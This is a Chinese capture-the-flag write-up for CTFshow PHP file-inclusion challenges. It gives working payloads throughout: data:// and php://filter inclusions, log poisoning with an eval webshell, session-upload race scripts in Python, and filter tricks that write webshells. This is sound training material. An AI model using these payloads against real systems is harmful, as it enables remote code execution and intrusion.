CTFshow-文件包含

web78

无过滤include

?file=data://text/plain,<?php system("cat flag.php")?>
?file=php://filter/convert.base64-encode/resource=flag.php

web79

过滤php字段

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKT8+
/* <?php system("cat flag.php") */

web80~81

过滤data | php | :字段

nginx日志包含:

  1. ?file=/var/log/nginx/access.log
  2. UA头添加<?php eval($_POST['cmd']);?>
  3. 蚁剑连接

web82~86

防御措施:

  1. 过滤data | php | : | .字段

  2. 删除session

1
2
3
4
5
session_unset();
//  session_unset():释放当前在内存中已经创建的所有$_SESSION变量,但是不删除session文件以及不释放对应的session id
session_destroy();
// session_destroy():删除当前用户对应的session文件以及释放session id,内存中$_SESSION变量内容依然保留
// index.php只调用一次函数,所以每次执行index.php只会删一次
  1. 删除文件
1
2
system("rm -rf /tmp/*");
// 同理,只删除了一次
  1. 文件内容过滤
1
2
3
4
5
6
7
8
if(file_exists($file)){
    $content = file_get_contents($file);
    if(strpos($content, "<")>0){
        die("error");
    }
    include($file);
}
// 我感觉这个挺鸡肋的,<不在第一个难道在最后一个吗
  1. 设置包含路径环境变量
1
2
3
define('还要秀?', dirname(__FILE__));
set_include_path('还要秀?');
// set_include_path只是将文件夹当做默认的引用路径,而不是只能从指定目录包含,/tmp/sess_xxx是绝对路径,不受该函数影响。

原理:利用session.upload_progress进行文件包含和反序列化渗透

burp-intruder

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
//poc.php
<!DOCTYPE html>
<html>
<body>
    <form action="IP地址" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333"/> // 这里直接添加php代码并不会被上传,推荐抓包后添加上传
        <input type="file" name="file"/>
        <input type="submit" value="submit"/>
    </form>
</body>
</html>
<?php session_start();?>
  1. 本地通过poc.php向目标i地址发送文件,抓包(可选:将PHPSESSID的值改成醒目的名字,比如自己的ID);
  2. PHP_SESSION_UPLOAD_PROGRESS中添加执行的php代码,如
1
<?php system('ls');?>
  1. intruder模块开两个,一个爆破上传,另一个爆破读取
  2. 获得flag

python脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import io, requests, threading
phpsessid = 'tyskill'
url = 'http://11122aaa-7f58-43bd-ba38-58f45b5f43c4.chall.ctf.show/'
def write(session, target):
    while True:
        file_con = io.BytesIO(b'aaaaaa')
        res = session.post(url=target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat fl0g.php");?>'}, files={'file': ('ty.txt',file_con,'text/plain')}, cookies={'PHPSESSID': phpsessid})
def read(session, target):
    while True:
        res = session.post(url=target + "?file=/tmp/sess_" + phpsessid)
        if 'ty.txt' in res.text:
            print(res.text)
            event.clear()
if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1, 10):
            threading.Thread(target=write, args=(session, url)).start()
        for i in range(1, 10):
            threading.Thread(target=read, args=(session, url)).start()
    event.set()
    # 手动停

贴一下大师傅的脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# coding=utf-8
# Author: atao
import io, requests, threading
sessID = 'flag'
url = 'IP'
def write(session):
    while True:
        f = io.BytesIO(b'a' * 256 * 1) #建议正常这个填充数据大一点
        res = session.post(
            url,
            cookies={'PHPSESSID': sessID},
            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac *.php")?>'},
            file={'file': ('a.txt', f)}
        )
def read():
    while True:
        response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
        if 'flag' in response.text:
            print(response.text)
            break
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True  #当daemon为True时,父线程在运行完毕后,子线程无论是否正在运行,都会伴随主线程一起退出。
write.start()
read()

web87

针对$file过滤data | php | : | .字段

1
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

      想要让<?php die('大佬别秀了');?>不影响执行自定义的php代码,那么就需要将其进行编码或解码,变成php无法识别的字符。

原理:

谈一谈php://filter的妙用

file_put_content和死亡·杂糅代码之缘

rot13

      利用php伪协议中的string.rot13过滤器将<?php die('大佬别秀了');?>"消掉",这样就可以插入自己构造的php代码:

GET: ?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2531%252e%2570%2568%2570
// php://filter/write=string.rot13/resource=1.php + 二次编码
POST: content=<?cuc flfgrz('png sy0t.cuc');?>
/* <?php system('cat fl0g.php');?> */

base64-decode

GET: ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
// php://filter/write=convert.base64-decode/resource=1.php + 二次编码
POST: content=aaPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
/* <?php eval($_POST['cmd']);?> */

注意:<?php eval($_POST['cmd']);?>的编码是PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==,而我们POST的数据却多了两个字符aa。这是因为base64作用的字符对象是大小写字母 数字 +/,且decode是以8位为一组,但是原文件内容<?php die('大佬别秀了');?>中只有phpdie六个字符可以被用作deocde运算,二进制位数不满足base64-decode要求,所以需要补两个字符。

web88

/php|~|!|@|#|\$|%|^|&|*|(|)|-|_|+|=|./i

和前面的难度差不多,也挺好绕的。

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgYGxzYCIpPz4
/* <?php system("tac `ls`")?> */

web116

misc+lfi

下载视频,binwalk分析,提取出源码截图:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
function filter($x){
    if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple somtimes native!');
    }
}
$file=isset($_GET['file'])?$_GET['file']:'sp2.mp4';
header('Content-Type: video/mp4');
filter($file);
echo file_get_contents($file);
?>

没过滤啥,直接读flag.php

1
?file=flag.php

查看响应头获得flag

web117

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

新过滤器

file_put_content和死亡·杂糅代码之缘convert.iconv.

GET: ?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=tyskill.php
POST: contents=<ap?ph@ vela$(P_SO[Tytksli]l;)>?

字符串截取(不会)

Hint:
${PATH:1:1}来获得字母
${#PATH}来统计字母个数

原理:

linux系统中的变量

Linux 基础知识:Bash的内置变量

根据题目给的Hint,这里可以使用${PATH:1:1}截取字符串,但是我没搞懂这里为啥可以截取字符串,先留个坑吧。

参考

ctfshow we入门 78-88文件包含 wp